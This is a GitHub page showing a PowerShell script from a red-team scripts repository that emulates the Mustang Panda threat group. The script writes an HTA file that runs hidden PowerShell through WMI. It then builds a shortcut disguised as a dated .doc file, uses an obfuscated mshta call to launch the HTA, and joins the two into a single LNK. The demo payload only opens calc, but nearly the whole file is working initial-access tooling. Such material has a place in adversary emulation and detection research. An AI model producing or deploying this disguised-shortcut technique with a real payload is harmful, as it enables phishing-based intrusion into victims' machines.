forked from infosecn1nja/red-team-scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGenerate-Mustang-Panda-LNK.ps1
33 lines (29 loc) · 999 Bytes
/
Generate-Mustang-Panda-LNK.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# ==============================
# MUSTANG PANDA LNK
# ==============================
$hta_content = @"
<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" />
<script language="VBScript">
Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
Set objServices = objSWbemLocator.ConnectServer(".", "\root\cimv2")
set objProcess = objServices.Get("Win32_Process")
objProcess.Create("cmd.exe /c powershell.exe -nop -w hidden -c calc")
self.close
</script>
</head>
<body>
</body>
</html>
"@
Set-Content -Path test.hta -Value $hta_content
$lnk_final = ".\2021-03-11.doc.lnk"
$lnk_temp = ".\output.lnk"
$wsh = New-Object -comobject WScript.Shell
$sc = $wsh.CreateShortcut($lnk_temp)
$sc.TargetPath = "%comspec%"
$sc.Arguments = "/c for %x in (%temp%=%cd%) do for /f ""delims=="" %i in ('dir ""%x\$lnk_final"" /s /b') do start m%windir:~-1,1%hta.exe ""%i"""
$sc.Save()
cmd.exe /c copy /b $lnk_temp+test.hta $lnk_final